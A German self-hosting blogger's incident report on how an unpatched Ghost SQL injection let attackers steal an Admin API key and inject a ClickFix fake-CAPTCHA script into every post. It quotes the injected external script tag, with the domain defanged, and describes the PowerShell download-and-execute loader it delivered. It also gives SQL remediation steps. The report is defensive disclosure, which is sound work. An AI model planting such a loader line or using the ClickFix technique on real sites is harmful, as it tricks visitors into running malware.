Unangenehme, aber ehrliche Wahrheit: Mein Blog hat eine Zeit lang manipulierten Code an Besucher ausgeliefert, ein gefälschtes „CAPTCHA", das zum Ausführen eines PowerShell-Befehls verleiten sollte (ClickFix). Der Eintrittsweg war eine ungepatchte Ghost-Sicherheitslücke, über die mein Admin-API-Key gestohlen wurde. Ich habe es entdeckt, forensisch eingegrenzt, alle 267 Beiträge bereinigt und den Zugang geschlossen. Hier die ungeschönte Geschichte, und was du tun solltest, falls du den Hinweis selbst gesehen hast.
Erstmal: sorry 🙏
Wenn du in den letzten Tagen auf blog.disane.dev ein komisches „Bitte bestätige, dass du ein Mensch bist"-Popup gesehen hast, das dich auffordern wollte, Win+X zu drücken, ein Terminal zu öffnen und etwas einzufügen: Das war nicht echt, das war Schadcode, und der hatte auf meinem Blog nichts zu suchen. Es tut mir aufrichtig leid. Du vertraust meiner Seite, und für eine Weile war dieses Vertrauen missbraucht.
Ich mache hier keinen auf „alles halb so wild". Stattdessen lege ich offen, was passiert ist. Transparenz ist das Mindeste, was ich nach so einem Vorfall liefern kann, und vielleicht hilft die Analyse jemandem, der dasselbe bei sich findet.

Wie der Blog kompromittiert wurde 🕵️
Der erste Hinweis war genau dieses Popup: mal als gefälschter Cloudflare-Check, mal als nachgebautes Google-reCAPTCHA. Echte Bot-Checks fordern dich nie auf, ein Terminal zu öffnen und Befehle einzufügen. Genau das war der rote Faden.
Der entscheidende erste Schritt war unspektakulär: Ich habe das rohe HTML der Seite serverseitig geladen, ohne Browser, ohne Erweiterungen. Damit lässt sich die wichtigste Frage beantworten: Steckt der Schadcode wirklich auf dem Server, oder injiziert ihn etwas im Browser des Besuchers? Die Startseite war sauber. Ein einzelner Artikel jedoch enthielt am Seitenende eine fremde Zeile:
<script src="https://stackai[.]co[.]com/gbr322/api.php"></script>Diese eine Zeile lädt externen JavaScript-Code nach, der das gefälschte CAPTCHA baut und die Zwischenablage manipuliert. Der Clou: Im eigentlichen Beitragstext stand der Code nicht. Er steckte im Feld codeinjection_foot (im Ghost-Editor unter „Code Injection"), das beim Rendern in den Seitenfuß wandert, aber kein Teil des Bodys ist. Und als ich alle Beiträge durchsuchte, klebte er an allen 263 Beiträgen plus 4 Seiten, jedes Mal exakt dieselbe Zeile.
ClickFix, die Masche dahinter 🎣
Was ich da erwischt hatte, ist ein Lehrbuch-Beispiel für ClickFix, eine Social-Engineering-Technik, die seit 2024 massiv um sich greift. Ein gefälschtes Fehler- oder Verifizierungs-Popup bringt dich dazu, „nur kurz" einen Befehl auszuführen, um ein vermeintliches Problem zu lösen. Niemand bricht in deinen Rechner ein, du wirst überredet, die Tür selbst zu öffnen.
Microsoft hat die Technik samt der typischen Schritte ausführlich seziert: Klick auf „Verify", Befehl landet unsichtbar in der Zwischenablage, dann Win+R oder Win+X, Einfügen, Enter.
Proofpoint ordnet das Ganze in die Bedrohungslage ein und zeigt, welche Schadsoftware (Infostealer, Loader, Remote-Access-Trojaner) so verteilt wird.
Das Perfide an der Browser-Variante: Es muss gar keine Datei heruntergeladen werden, die ein Virenscanner abfangen könnte. Der schädliche Befehl kommt über die Zwischenablage und wird von dir selbst in eine vertrauenswürdige Shell eingefügt. Deshalb umgeht ClickFix viele klassische Schutzmechanismen.
Der Schadcode im Detail 🔬
Ich habe mir den nachgeladenen Code angesehen (kontrolliert, nicht im Alltagsbrowser). Er hängt hinter Cloudflare und liefert ein JavaScript, das mehrere Dinge tut:
- Es baut Overlays nach, die wie ein Cloudflare-, Google- oder Microsoft-Verifizierungsdialog aussehen (CSS-Klassen wie
.cf-root,.dg-overlay,.ms-overlay). - Es überwacht Copy-Events und schiebt dir den schädlichen PowerShell-Befehl in die Zwischenablage.
- Es setzt ein
localStorage-Flag (captcha_executed_…), damit es pro Gerät nur einmal zuschlägt, das macht es schwerer reproduzierbar. - Es ruft regelmäßig eine Tracking-URL auf demselben Server auf, um „Erfolge" zu zählen.
Der PowerShell-Payload selbst war der übliche Mehrstufen-Loader: Strings per XOR verschleiert, ein System.Net.WebClient, der weiteren Code nachlädt, und am Ende ein iex (Invoke-Expression), das alles direkt im Arbeitsspeicher ausführt. Übersetzt: beliebigen Code aus dem Internet laden und sofort ausführen.
Die eigentliche Lücke: eine ungepatchte Ghost-Schwachstelle 🔑
Jetzt die wirklich wichtige Frage: Wie kam das Script in jeden Beitrag? Ein Feld pro Beitrag auf allen Beiträgen gleichzeitig zu setzen, geht nur über die Ghost Admin API oder direkten Datenbankzugriff. Ghosts eigenes Audit-Log (die actions-Tabelle) zeigte schwarz auf weiß den Täter: ein Integrations-API-Key, im Sekundentakt über rund 22 Minuten, gleichmäßig gedrosselt, um unter dem Rate-Limit zu bleiben.
Konkret war es der Admin-Key der eingebauten Zapier-Integration. Ghost bringt sie ab Werk mit, inklusive eigenem Admin-API-Key, und ich hatte sie nie bewusst genutzt. Aber wie kam der Angreifer an genau diesen Schlüssel? Nicht über einen Leak auf meiner Seite, sondern über eine ungepatchte Sicherheitslücke in Ghost selbst: eine unauthentifizierte SQL-Injection (CVE-2026-26980, GHSA-w52v-v783-gw97), die Ghost-Versionen 3.24.0 bis 6.19.0 betrifft und in 6.19.1 gepatcht wurde. Über diese Lücke (CVSS 9.4, kritisch) konnten unauthentifizierte Angreifer beliebige Daten aus der Datenbank lesen, inklusive aller API-Keys, und mein Blog lief auf der alten 5er-Reihe, also verwundbar.
Wichtige Erkenntnis: Ein Admin-API-Key kann alles, was du im Admin-Panel kannst, es gibt keine feingranularen Rechte. Ein einziger gestohlener Key bedeutet volle Kontrolle. Und der Diebstahl lief nicht über mich, sondern über eine Lücke in der Software selbst.
Und ich war damit nicht allein: Dieselbe Welle hat laut SOC Prime über 700 Ghost-Blogs getroffen, alle über dieselbe SQL-Injection und den Diebstahl des Admin-API-Keys, in vielen Fällen genau über die nie genutzte Zapier-Integration. Drei Quellen, die das Muster bestätigen:
SOC Prime hat die Kampagne aufgearbeitet: 700+ kompromittierte Ghost-Seiten, CVE-2026-26980 als Einfallstor, Diebstahl des Admin-API-Keys und anschließende Content-Injection mit dem ClickFix-Fake-Cloudflare-Dialog. Gemeldet wurde der Vorfall am 29. Mai 2026.
Im offiziellen Ghost-Forum schildert ein Betreiber exakt mein Muster: veraltetes Ghost, SQL-Injection, der für Zapier angelegte (aber nie genutzte) Admin-Key wird gestohlen, danach Code-Injection auf jedem Post. Die empfohlene Lösung dort ist eindeutig: Ghost updaten, alle Keys neu generieren und Ghosts „Reset authentication" nutzen.
Und im Ghost-Subreddit gibt es den passenden „I got hacked"-Erfahrungsbericht aus erster Hand, falls du sehen willst, wie sich das bei anderen angefühlt hat.
Die Bereinigung, und wie sie einmal zurückkam 🔁
Erste Runde: Ich habe über die Admin API auf allen 267 Objekten das codeinjection_foot-Feld geleert, live geprüft, sauber. Kurz durchgeatmet, und dann kam es zurück.
Der Grund war mein eigener Fehler in der Reihenfolge: Ich hatte erst gesäubert und den offensichtlichen Key rotiert, aber den Zapier-Key noch nicht. Solange dessen Schlüssel gültig war, konnte der Angreifer sein Skript einfach erneut laufen lassen, was er prompt tat. Das ist die zentrale Lehre bei jedem Incident:
Erst den Zugang schließen, dann aufräumen. Nicht andersrum. Sonst putzt du gegen einen Angreifer an, der noch im Haus steht.

Zweite Runde, richtige Reihenfolge: den Zapier-Admin-Key neu setzen (damit ist jedes mit dem alten Schlüssel signierte Token sofort ungültig), zur Sicherheit auch ein verdächtiges Owner-Token rotieren, dann erst alle Beiträge bereinigen und Ghost neu starten. Danach blieb es sauber, bestätigt über alle 135 öffentlichen URLs aus der Sitemap und alle 267 Objekte via API: null Funde.
Aber Vorsicht, der wichtigste Schritt fehlt damit noch: Key-Rotation stoppt nur den akuten Missbrauch. Solange die SQL-Injection-Lücke offen ist, kann der Angreifer sich die Keys jederzeit erneut aus der Datenbank ziehen. Der eigentliche, dauerhafte Fix ist Ghost auf mindestens 6.19.1, besser die aktuellste Version aktualisieren und danach Ghosts „Reset authentication" laufen lassen, das alle Schlüssel in einem Rutsch neu erzeugt. Die Ghost-Community ist da unmissverständlich.
Als Sicherheitsnetz: ein Watcher 🛡️
Vertrauen ist gut, Monitoring ist besser. Seitdem läuft ein kleiner Wächter, der die Beiträge im Minutentakt prüft, eine eventuelle Neu-Injektion sofort automatisch entfernt und mich per Push benachrichtigt, inklusive Info, welcher Schlüssel es war. Sollte also doch noch eine Tür offen sein, erfahre ich es in Sekunden statt in Tagen.
Bist du als Besucher betroffen? 🚑
Nur dann, wenn du die Anweisung des Popups tatsächlich ausgeführt hast, also Terminal/PowerShell geöffnet, eingefügt und Enter gedrückt hast. Bloßes Ansehen der Seite reicht nicht, der Schaden entsteht erst durch das selbst ausgeführte Kommando.
Falls du es ausgeführt hast, würde ich:
- den Rechner mit einem aktuellen Virenscanner (unter Windows reicht Microsoft Defender, vollständiger Scan) durchsuchen,
- wichtige Passwörter ändern, vor allem dort, wo du kein Zwei-Faktor hast, und
- im Zweifel die betroffenen Konten auf verdächtige Aktivität prüfen.
Wenn du nur das Popup gesehen, aber nichts eingegeben hast: Alles gut, dir ist nichts passiert.
Was ich daraus mitnehme 📚
- Updates sind kein Nice-to-have. Der Schlüssel wurde nicht von mir geleakt, sondern über eine ungepatchte Ghost-Lücke (CVE-2026-26980) aus der Datenbank gezogen. Eine aktuelle Version hätte den ganzen Vorfall verhindert.
- Eingebaute Integrationen sind echte Schlüssel. Zapier und Co. liefern ab Werk Admin-Keys. Wer sie nicht nutzt, sollte sie deaktivieren, und nach einem Vorfall „Reset authentication" nutzen.
- Reihenfolge bei Incidents: Zugang schließen, dann säubern, dann verifizieren. Cleanup zuerst ist verlorene Zeit.
- Audit-Logs sind Gold. Ghosts
actions-Tabelle hat den Täter in Minuten geliefert. - Monitoring schlägt Hoffnung. Ein simpler Watcher, der den Soll-Zustand prüft, macht so etwas früh sichtbar.
Ich betreibe meinen Kram bewusst selbst, das ist Teil des Spaßes und Teil der Verantwortung. Self-Hosting heißt eben auch: Wenn etwas brennt, bist du die Feuerwehr, und du musst die Software aktuell halten.
Anhang: die SQL-Befehle zur Analyse und Behebung 🧰
Für die technisch Interessierten: So habe ich den Vorfall in Ghosts MySQL-Datenbank analysiert und behoben. Secrets wie DB-Passwort, Container-Name und Key-ID sind durch Platzhalter ersetzt.
Analyse, wer wann was geändert hat:
-- Ghost fuehrt ein Audit-Log (actions): wer hat wann was geaendert?
SELECT actor_type, actor_id, event, resource_type, COUNT(*) AS anzahl,
MIN(created_at) AS erste, MAX(created_at) AS letzte
FROM actions
WHERE event = 'edited' AND resource_type = 'post'
GROUP BY actor_type, actor_id, event, resource_type
ORDER BY anzahl DESC;
-- Welche Integration / welcher API-Key steckt dahinter?
SELECT id, name, slug, type, created_at FROM integrations ORDER BY created_at DESC;
SELECT id, type, integration_id, user_id, created_at, last_seen_at
FROM api_keys ORDER BY last_seen_at DESC;Behebung, Angreifer aussperren und alle Beiträge säubern:
-- 1) Kompromittierten Admin-API-Key neu setzen (alte Tokens werden sofort ungueltig)
UPDATE api_keys
SET secret = LOWER(SHA2(CONCAT(RAND(), UUID(), NOW(6)), 256)), updated_at = NOW()
WHERE id = '<KEY_ID_DER_KOMPROMITTIERTEN_INTEGRATION>';
-- 2) Alle Beitraege und Seiten saeubern (foot UND head)
UPDATE posts SET codeinjection_foot = NULL WHERE codeinjection_foot LIKE '%stackai%';
UPDATE posts SET codeinjection_head = NULL WHERE codeinjection_head LIKE '%stackai%';
-- 3) Kontrolle: muss 0 sein
SELECT COUNT(*) AS noch_verseucht FROM posts
WHERE codeinjection_foot LIKE '%stackai%' OR codeinjection_head LIKE '%stackai%';Und so wurde das Ganze aufgerufen (Passwort + Container redigiert), danach unbedingt Ghost aktualisieren:
# Im laufenden MySQL-Container:
docker exec -e MYSQL_PWD=<db-root-passwort> <mysql-container> \
mysql -uroot ghost -t -e " ... SQL von oben ... "
# Danach Ghost neu starten ...
docker restart <ghost-container>
# ... und vor allem auf 6.19.1+ aktualisieren (CVE-2026-26980, CVSS 9.4).Fazit 🚀
Der Blog wurde über eine ungepatchte Ghost-SQL-Injection (CVE-2026-26980) kompromittiert, mit der mein eingebauter Zapier-Admin-Key gestohlen und damit ein ClickFix-Fake-CAPTCHA in jeden Beitrag injiziert wurde. Gefunden, eingegrenzt, alle 267 Beiträge bereinigt, den Zugang geschlossen, ein Monitoring nachgezogen, und als dauerhaften Fix wird Ghost auf 6.19.1+ aktualisiert. Deine Daten auf dem Blog waren nie das Ziel, es ging dem Angreifer nur um deine Geräte über den PowerShell-Trick.
Danke fürs Lesen, danke für dein Vertrauen, und nochmal: sorry für den Schreck. Falls du Fragen hast oder so etwas bei dir selbst entdeckst, melde dich, ich helfe gern beim Eingrenzen.